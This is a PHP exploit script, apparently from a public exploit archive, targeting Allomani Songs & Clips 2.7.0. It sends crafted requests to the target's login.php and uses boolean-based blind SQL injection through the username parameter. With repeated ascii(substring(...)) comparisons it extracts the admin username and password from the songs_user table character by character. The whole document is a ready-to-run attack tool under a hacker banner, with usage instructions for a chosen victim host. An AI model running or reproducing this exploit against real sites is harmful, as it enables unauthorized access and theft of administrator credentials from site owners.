Allomani Songs And Clips 2.7.0 SQL Injection

`<?php  
ini_set("max_execution_time",0);  
print_r('  
|| || | ||  
o_,_7 _|| . _o_7 _|| q_|_|| o_///_,  
( : / (_) / ( .  
  
___________________  
_/QQQQQQQQQQQQQQQQQQQ\__  
[q] Allomani Songs & Clips v2.7.0 __/QQQ/````````````````\QQQ\___  
Blind SQL inj. exploit _/QQQQQ/ \QQQQQQ\  
[q] _GET <3 /QQQQ/`` ```QQQQ\  
/QQQQ/ \QQQQ\  
[q] http://allomani.com |QQQQ/ By Qabandi \QQQQ|  
|QQQQ| |QQQQ|  
|QQQQ| From Kuwait, PEACE... |QQQQ|  
|QQQQ| |QQQQ|  
|QQQQ\ iqa[a]hotmail.fr /QQQQ|  
[/] -[hai]- \QQQQ\ __ /QQQQ/  
\QQQQ\ /QQ\_QQQQ/  
\QQQQ\ \QQQQQQQ/  
\QQQQQ\ /QQQQQ/_  
``\QQQQQ\_____________/QQQ/\QQQQ\_  
``\QQQQQQQQQQQQQQQQQQQ/ `\QQQQ\  
``````````````````` `````  
______________________________________________________________________________  
/ \  
| I%00Dont%00Care... |  
\______________________________________________________________________________/  
\ No More Private /  
`````````````````  
');  
  
if ($argc<3) {  
print_r('  
-----------------------------------------------------------------------------  
Usage: php '.$argv[0].' VICTIM DIR  
  
example: php '.$argv[0].' EXAMPLE /demo/  
  
or if in root dir:  
example: php '.$argv[0].' EXAMPLE //  
  
-----------------------------------------------------------------------------  
');  
die;  
}  
  
  
function QABANDI($victim,$vic_dir,$inj){  
$host = $victim;  
$p = "http://".$host.$vic_dir;  
$inj = urlencode($inj);  
  
$packet ="GET ".$p."/login.php?action=login&username=".$inj."&password=ass HTTP/1.1\r\n";  
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";  
$packet.="Pragma: no-cache\r\n";  
$packet.="Host: ".$victim."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
  
//echo $packet;  
$o = @fsockopen($host, 80);  
if(!$o){  
echo "\n[x] No response...\n";  
die;  
}  
  
fputs($o, $packet);  
while (!feof($o)) $data .= fread($o, 1024);  
fclose($o);  
  
$_404 = strstr( $data, "HTTP/1.1 404 Not Found" );  
if ( !empty($_404) ){  
echo "\n[x] 404 Not Found... Make sure of path. \n";  
die;  
}  
  
return $data;  
  
}   
function QAB_GET($from){  
$content = $from;  
preg_match_all("/<center>([^<]+)<\/center>/",  
$content,  
$out, PREG_PATTERN_ORDER);  
  
return base64_encode($out[1][0]);  
}  
  
$host1 = $argv[1];  
$userdir1=$argv[2];  
  
$truths = QAB_GET(QABANDI($host1,$userdir1,"' or 1='1"));  
$falses = QAB_GET(QABANDI($host1,$userdir1,"' or 1='2"));  
  
if($truths == $falses){  
echo "Magic Quotes is on, exploit failed\n";  
die;  
}  
echo "\n[q]Getting Admin User and Pass";  
echo "\n username: ";  
  
for ($i = 1; $i <= 122; $i++) {  
$qest = QAB_GET(QABANDI($host1,$userdir1,"' or ascii(substring((select username from songs_user limit 0,1),1,1))='".$i));  
if ($qest == $truths) {  
echo chr($i);  
}  
}  
for ($i = 1; $i <= 122; $i++) {  
$qest = QAB_GET(QABANDI($host1,$userdir1,"' or ascii(substring((select username from songs_user limit 0,1),2,1))='".$i));  
if ($qest == $truths) {  
echo chr($i);  
}  
}  
for ($i = 1; $i <= 122; $i++) {  
$qest = QAB_GET(QABANDI($host1,$userdir1,"' or ascii(substring((select username from songs_user limit 0,1),3,1))='".$i));  
if ($qest == $truths) {  
echo chr($i);  
}  
}  
for ($i = 1; $i <= 122; $i++) {  
$qest = QAB_GET(QABANDI($host1,$userdir1,"' or ascii(substring((select username from songs_user limit 0,1),4,1))='".$i));  
if ($qest == $truths) {  
echo chr($i);  
}  
}  
  
for ($i = 1; $i <= 122; $i++) {  
$qest = QAB_GET(QABANDI($host1,$userdir1,"' or ascii(substring((select username from songs_user limit 0,1),5,1))='".$i));  
if ($qest == $truths) {  
echo chr($i);  
}  
}  
for ($i = 1; $i <= 122; $i++) {  
$qest = QAB_GET(QABANDI($host1,$userdir1,"' or ascii(substring((select username from songs_user limit 0,1),6,1))='".$i));  
if ($qest == $truths) {  
echo chr($i);  
}  
}  
for ($i = 1; $i <= 122; $i++) {  
$qest = QAB_GET(QABANDI($host1,$userdir1,"' or ascii(substring((select username from songs_user limit 0,1),7,1))='".$i));  
if ($qest == $truths) {  
echo chr($i);  
}  
}  
  
for ($i = 1; $i <= 122; $i++) {  
$qest = QAB_GET(QABANDI($host1,$userdir1,"' or ascii(substring((select username from songs_user limit 0,1),8,1))='".$i));  
if ($qest == $truths) {  
echo chr($i);  
}  
}  
  
  
  
echo "\n password: ";  
  
for ($i = 1; $i <= 122; $i++) {  
$qest = QAB_GET(QABANDI($host1,$userdir1,"' or ascii(substring((select password from songs_user limit 0,1),1,1))='".$i));  
if ($qest == $truths) {  
echo chr($i);  
}  
}  
for ($i = 1; $i <= 122; $i++) {  
$qest = QAB_GET(QABANDI($host1,$userdir1,"' or ascii(substring((select password from songs_user limit 0,1),2,1))='".$i));  
if ($qest == $truths) {  
echo chr($i);  
}  
}  
for ($i = 1; $i <= 122; $i++) {  
$qest = QAB_GET(QABANDI($host1,$userdir1,"' or ascii(substring((select password from songs_user limit 0,1),3,1))='".$i));  
if ($qest == $truths) {  
echo chr($i);  
}  
}  
for ($i = 1; $i <= 122; $i++) {  
$qest = QAB_GET(QABANDI($host1,$userdir1,"' or ascii(substring((select password from songs_user limit 0,1),4,1))='".$i));  
if ($qest == $truths) {  
echo chr($i);  
}  
}  
  
for ($i = 1; $i <= 122; $i++) {  
$qest = QAB_GET(QABANDI($host1,$userdir1,"' or ascii(substring((select password from songs_user limit 0,1),5,1))='".$i));  
if ($qest == $truths) {  
echo chr($i);  
}  
}  
for ($i = 1; $i <= 122; $i++) {  
$qest = QAB_GET(QABANDI($host1,$userdir1,"' or ascii(substring((select password from songs_user limit 0,1),6,1))='".$i));  
if ($qest == $truths) {  
echo chr($i);  
}  
}  
for ($i = 1; $i <= 122; $i++) {  
$qest = QAB_GET(QABANDI($host1,$userdir1,"' or ascii(substring((select password from songs_user limit 0,1),7,1))='".$i));  
if ($qest == $truths) {  
echo chr($i);  
}  
}  
  
for ($i = 1; $i <= 122; $i++) {  
$qest = QAB_GET(QABANDI($host1,$userdir1,"' or ascii(substring((select password from songs_user limit 0,1),8,1))='".$i));  
if ($qest == $truths) {  
echo chr($i);  
}  
}  
  
for ($i = 1; $i <= 122; $i++) {  
$qest = QAB_GET(QABANDI($host1,$userdir1,"' or ascii(substring((select password from songs_user limit 0,1),9,1))='".$i));  
if ($qest == $truths) {  
echo chr($i);  
}  
}  
for ($i = 1; $i <= 122; $i++) {  
$qest = QAB_GET(QABANDI($host1,$userdir1,"' or ascii(substring((select password from songs_user limit 0,1),10,1))='".$i));  
if ($qest == $truths) {  
echo chr($i);  
}  
}  
for ($i = 1; $i <= 122; $i++) {  
$qest = QAB_GET(QABANDI($host1,$userdir1,"' or ascii(substring((select password from songs_user limit 0,1),11,1))='".$i));  
if ($qest == $truths) {  
echo chr($i);  
}  
}  
for ($i = 1; $i <= 122; $i++) {  
$qest = QAB_GET(QABANDI($host1,$userdir1,"' or ascii(substring((select password from songs_user limit 0,1),12,1))='".$i));  
if ($qest == $truths) {  
echo chr($i);  
}  
}  
for ($i = 1; $i <= 122; $i++) {  
$qest = QAB_GET(QABANDI($host1,$userdir1,"' or ascii(substring((select password from songs_user limit 0,1),13,1))='".$i));  
if ($qest == $truths) {  
echo chr($i);  
}  
}  
  
echo "\n\n this exploit is made to give you the first 8 chars of username and first 13 of password";  
  
?>  
  
  
`